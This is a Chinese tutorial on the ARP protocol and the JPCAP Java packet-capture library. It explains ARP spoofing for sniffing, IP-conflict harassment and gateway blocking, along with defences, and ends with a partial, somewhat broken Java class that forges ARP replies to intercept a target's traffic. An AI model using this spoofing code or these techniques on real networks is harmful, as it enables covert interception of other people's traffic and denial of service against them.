jpcap的使用.docx
《jpcap的使用.docx》由会员分享,可在线阅读,更多相关《jpcap的使用.docx(22页珍藏版)》请在冰豆网上搜索。
jpcap的使用
JPCAP的使用
2013-08-0915:
06:
29 我来说两句
收藏
我要投稿
ARP协议分析 :
ARP(AddressResolutionProtocol)地址解析协议用于将计算机的网络地址(IP地址32位)转化为物理地址(MAC地址48位)[RFC826]。
ARP协议是属于链路层的协议,在以太网中的数据帧从一个主机到达网内的另一台主机是根据48位的以太网地址(硬件地址)来确定接口的,而不是根据32位的IP地址。
内核(如驱动)必须知道目的端的硬件地址才能发送数据。
当然,点对点的连接是不需要ARP协议的。
ARP协议的数据结构:
typedefstructarphdr
{
unsignedshortarp_hrd; /*硬件类型*/
unsignedshortarp_pro; /*协议类型*/
unsignedchararp_hln; /*硬件地址长度*/
unsignedchar arp_pln; /*协议地址长度*/
unsignedshortarp_op; /*ARP操作类型*/
unsignedchar arp_sha[6]; /*发送者的硬件地址*/
unsignedlong arp_spa; /*发送者的协议地址*/
unsignedchar arp_tha[6]; /*目标的硬件地址*/
unsignedlong arp_tpa; /*目标的协议地址*/
}ARPHDR,*PARPHDR;
为了解释ARP协议的作用,就必须理解数据在网络上的传输过程。
这里举一个简单的PING例子。
假设我们的计算机IP地址是192.168.1.1,要执行这个命令:
ping192.168.1.2。
该命令会通过ICMP协议发送ICMP数据包。
该过程需要经过下面的步骤:
1、应用程序构造数据包,该示例是产生ICMP包,被提交给内核(网络驱动程序);
2、内核检查是否能够转化该IP地址为MAC地址,也就是在本地的ARP缓存中查看IP-MAC对应表;
3、如果存在该IP-MAC对应关系,那么跳到步骤9;如果不存在该IP-MAC对应关系,那么接续下面的步骤;
4、内核进行ARP广播,目的地的MAC地址是FF-FF-FF-FF-FF-FF,ARP命令类型为REQUEST
(1),其中包含有自己的MAC地址;
5、当192.168.1.2主机接收到该ARP请求后,就发送一个ARP的REPLY
(2)命令,其中包含自己的MAC地址;
6、本地获得192.168.1.2主机的IP-MAC地址对应关系,并保存到ARP缓存中;
7、内核将把IP转化为MAC地址,然后封装在以太网头结构中,再把数据发送出去;
使用arp-a命令就可以查看本地的ARP缓存内容,所以,执行一个本地的PING命令后,ARP缓存就会存在一个目的IP的记录了。
当然,如果你的数据包是发送到不同网段的目的地,那么就一定存在一条网关的IP-MAC地址对应的记录。
知道了ARP协议的作用,就能够很清楚地知道,数据包的向外传输很依靠ARP协议,当然,也就是依赖ARP缓存。
要知道,ARP协议的所有操作都是内核自动完成的,同其他的应用程序没有任何关系。
同时需要注意的是,ARP协议只使用于本网络。
ARP协议的利用和相关原理介绍。
一、交换网络的嗅探
ARP协议并不只在发送了ARP请求才接收ARP应答。
当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。
因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。
当A接收到B伪造的ARP应答,就会更新本地的ARP缓存,将本地的IP-MAC对应表更换为接收到的数据格式,由于这一切都是A的系统内核自动完成的,A可不知道被伪造了。
ARP欺骗的主要用途就是进行在交换网络中的嗅探。
有关交换网络的嗅探不是本文的讨论内容。
二、IP地址冲突
我们知道,如果网络中存在相同IP地址的主机的时候,就会报告出IP地址冲突的警告。
这是怎么产生的呢?
比如某主机B规定IP地址为192.168.0.1,如果它处于开机状态,那么其他机器A更
改IP地址为192.168.0.1就会造成IP地址冲突。
其原理就是:
主机A在连接网络(或更改IP地址)的时候就会向网络发送ARP包广播自己的IP地址,也就是freearp。
如果网络中存在相同IP地址的主机B,那么B就会通过ARP来reply该地址,当A接收到这个reply后,A就会跳出IP地址冲突的警告,当然B也会有警告。
因此用ARP欺骗可以来伪造这个ARPreply,从而使目标一直遭受IP地址冲突警告的困扰。
三、阻止目标的数据包通过网关
比如在一个局域网内通过网关上网,那么连接外部的计算机上的ARP缓存中就存在网关IP-MAC对应记录。
如果,该记录被更改,那么该计算机向外发送的数据包总是发送到了错误的网关硬件地址上,这样,该计算机就不能够上网了。
这里也主要是通过ARP欺骗进行的。
有两种办法达到这样的目的。
1、向目标发送伪造的ARP应答数据包,其中发送方的IP地址为网关的地址,而MAC地址则为一个伪造的地址。
当目标接收到该ARP包,那么就更新自身的ARP缓存。
如果该欺骗一直持续下去,那么目标的网关缓存一直是一个被伪造的错误记录。
当然,如果有些了解的人查看ARP-a,就知道问题所在了。
2、这种方法非常狠,欺骗网关。
向网关发送伪造的ARP应答数据包,其中发送方的IP地址为目标的IP地址,而MAC地址则为一个伪造的地址。
这样,网关上的目标ARP记录就是一个错误的,网关发送给目标的数据报都是使用了错误的MAC地址。
这种情况下,目标能够发送数据到网关,却不能接收到网关的任何数据。
同时,目标自己查看ARP-a却看不出任何问题来。
四、通过ARP检测混杂模式节点
在混杂模式中,网卡进行包过滤不同于普通模式。
本来在普通模式下,只有本地地址的数据包或者广播(多播等)才会被网卡提交给系统核心,否则的话,这些数据包就直接被网卡抛弃。
现在,混合模式让所有经过的数据包都传递给系统核心,然后被sniffer等程序利用。
通过特殊设计的ARP请求可以用来在一定程度上检测处于混杂模式的节点,比如对网络中的每个节点都发送MAC地址为FF-FF-FF-FF-FF-FE的ARP请求。
对于网卡来说这不是一个广播地址(FF-FF-FF-FF-FF-FF),所以处于普通模式的节点就会直接抛弃该数据包,但是多数操作系统核心都认为这是一个广播地址,如果有一般的sniffer程序存在,并设置网卡为混杂模式,那么系统核心就会作出应答,这样就可以判断这些节点是否存在嗅探器了。
可以查看,很多基于ARP的攻击都是通过ARP欺骗实现的。
至于ARP欺骗的防范,还是尽可能使用静态的ARP。
对于WIN,使用arp-s来进行静态ARP的设置。
当然,如果能够完全使用静态的IP+MAC对应,就更好了,因为静态的ARP缓存只是相对的。
当然,可以有一些方法来实现ARP欺骗的检测。
设置一个ARP的嗅探器,其中维护着一个本地网络的IP-MAC地址的静态对应表,查看所有经过的ARP数据,并检查其中的IP-MAC对应关系,如果捕获的IP-MAC对应关系和维护的静态对应关系对应不上,那么就表明是一个欺骗的ARP数据包了。
一个ARP数据包发送程序源代码和编译好的EXE程序可以参考ARPSender程序。
注意:
需要先安装WinPcap。
Java中的数据链路层控制:
众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。
JPCAP扩展包弥补了这一点。
JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性。
在官方网站上声明,JPCAP支持FreeBSD3.x,LinuxRedHat6.1,FedoraCore4,Solaris,andMicrosoftWindows2000/XP等系统。
二.JPCAP机制
JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincap的typedefstruct_ADAPTERADAPTER,getDeviceList()对应pcap_findalldevs()等等。
JPCAP有16个类,下面就其中最重要的4个类做说明。
1.NetworkInterface
该类的每一个实例代表一个网络设备,一般就是网卡。
这个类只有一些数据成员,除了继承自java.lang.Object的基本方法以外,没有定义其它方法。
数据成员
NetworkInterfaceAddress[]
java.lang.String
datalink_description.
数据链路层的描述。
描述所在的局域网是什么网。
例如,以太网(Ethernet)、无线LAN网(wirelessLAN)、令牌环网(tokenring)等等。
java.lang.String
datalink_name
该网络设备所对应数据链路层的名称。
具体来说,例如Ethernet10M、100M、1000M等等。
java.lang.String
description
网卡是XXXX牌子XXXX型号之类的描述。
例如我的网卡描述:
RealtekRTL8169/8110FamilyGigabitEthernetNIC
boolean
Loopback
标志这个设备是否loopback设备。
byte[]
mac_address
网卡的MAC地址,6个字节。
java.lang.String
Name
这个设备的名称。
例如我的网卡名称:
\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
数据成员
int
dropped_packets
抛弃的包的数目。
protectedint
ID
这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的。
实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
protectedstaticboolean[]
instanciatedFlag
同样在官方文档中没有做任何说明,估计其为供内部使用。
protectedstaticint
MAX_NUMBER_OF_INSTANCE
同样在官方文档中没有做任何说明,估计其为供内部使用。
int
received_packets
收到的包的数目
方法成员
staticNetworkInterface[]
getDeviceList()
返回一个网络设备列表。
staticJpcapCaptor
openDevice(NetworkInterfaceinterface,intsnaplen,booleanpromisc,intto_ms)
创建一个与指定设备的连接并返回该连接。
注意,以上两个方法都是静态方法。
Interface:
要打开连接的设备的实例;
Snaplen:
这个是比较容易搞混的一个参数。
其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;
Promisc:
设置是否混杂模式。
处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;
To_ms:
这个参数主要用于processPacket()方法,指定超时的时间;
void
Close()
关闭调用该方法的设备的连接,相对于openDivece()打开连接。
JpcapSender
getJpcapSenderInstance()
该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类。
Packet
getPacket()
捕捉并返回一个数据包。
这是JpcapCaptor实例中四种捕捉包的方法之一。
int
loopPacket(intcount,PacketReceiverhandler)
捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目。
如果count参数设为-1,那么无限循环地捕捉数据。
这个方法不受超时的影响。
还记得openDivice()中的to_ms参数么?
那个参数对这个方法没有影响,如果没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待。
PacketReceiver中只有一个抽象方法voidreceive(Packetp)。
int
processPacket(intcount,PacketReceiverhandler)
跟loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目。
int
dispatchPacket(intcount,PacketReceiverhandler)
跟processPacket()功能一样,区别是这个方法可以处于“non-blocking”模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包。
void
setFilter(java.lang.Stringcondition,booleanoptimize)
.condition:
设定要提取的包的关键字。
Optimize:
这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果为真,那么过滤器将处于优化模式。
void
setNonBlockingMode(booleannonblocking)
如果值为“true”,那么设定为“non-blocking”模式。
void
breakLoop()
当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止。
方法成员
void
close()
强制关闭这个连接。
staticJpcapSender
openRawSocket()
这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
void
sendPacket(Packetpacket)
JpcapSender最重要的功能,发送数据包。
需要注意的是,如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而如果是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成。
三.使用JPCAP实现监听
1.监听原理
在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
局域网监听利用的是所谓的“ARP欺骗”技术。
在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。
所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
假设本机为A,监听目标为B。
首先,伪造一个ARPREPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARPREPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。
而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
接着,再伪造一个ARPREPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARPREPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。
这时候外部传给B的数据包经过网关时,就通通转发给A。
这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
ARP数据包解析
单元:
Byte
Ethernet头部
ARP数据部分
6
6
2
2
2
2
2
4
6
4
6
目标MAC地址
源地MAC地址
类型号0x0800:
ip
0x0806:
ARP
局域网类型
以太网0x0001
网络协议类型
IP网络0x0800
MAC/IP地址长度,恒为0x06/04
ARP包类型
REPLY
0x0002
ARP目标IP地址
ARP目标MAC地址
ARP源IP地址
ARP源MAC地址
publicclasschangeARP{
privateNetworkInterface[]devices;//设备列表
privateNetworkInterfacedevice;//要使用的设备
privateJpcapCaptorjpcap;//与设备的连接
privateJpcapSendersender;//用于发送的实例
privatebyte[]targetMAC,gateMAC;//B的MAC地址,网关的MAC地址
privatebyte[]StringtargetIp,StringgateIp;//B的IP地址,网关的IP地址
/**
*初始化设备
*JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
*dialupadapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*注意:
在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFramejf=new
*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在程序中调用device.mac_address时得到的是000000000000。
*/
privateNetworkInterfacegetDevice()throwsIOException{
devices=JpcapCaptor.getDeviceList();//获得设备列表
device=devices[0];//只有一个设备
jpcap=JpcapCaptor.openDevice(device,2000,false,10000);//打开与设备的连接
jpcap.setFilter(“ip”,true);//只监听B的IP数据包
sender=captor.getJpcapSenderInstance();
}
/**
*修改B和网关的ARP表。
因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
*段时间就发一次包重新更改B和网关的ARP表。
*@参数targetMACB的MAC地址,可通过ARP解析得到;
*@参数targetIpB的IP地址;
*@参数gateMAC网关的MAC地址;
*/
publicchangeARP(byte[]targetMAC,StringtargetIp,byte[]gateMAC,StringgateIp)
throwsUnknownHostException,InterruptedException{
this.targetMAC=targetMAC;
this.targetIp=targetIp;
this.gateMAC=gateMAC;
this.gateIp=gateIp;
getDevice();
arpTarget=newARPPacket();//修改B的ARP表的ARP包
arpTarget.hardtype=ARPPacket.HARDTYPE_ETHER;//选择以太网类型(Ethernet)
arpTarget.prototype=ARPPacket.PROTOTYPE_IP;//选择IP网络协议类型
arpTarget.operation=ARPPacket.ARP_REPLY;//选择REPLY类型
arpTarget.hlen=6;//MAC地址长度固定6个字节
arpTarget.plen=4;//IP地址长度固定4个字节
arpTarget.sender_hardaddr=device.mac_address;//A的MAC地址
arpTarget.sender_protoaddr=InetAddress.getByName(gateIp).getAddress();//网关IP
arpTarget.target_hardaddr=targetMAC;//B的MAC地址
arpTarget.target_protoaddr=InetAddress.getByName(targetIp).getAddress();//B的IP
EthernetPacketethToTarget=newEthernetPacket();//创建一个以太网头
ethToTarget.frametype=EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
ethToTarget.src_mac=device.mac_address;//A的MAC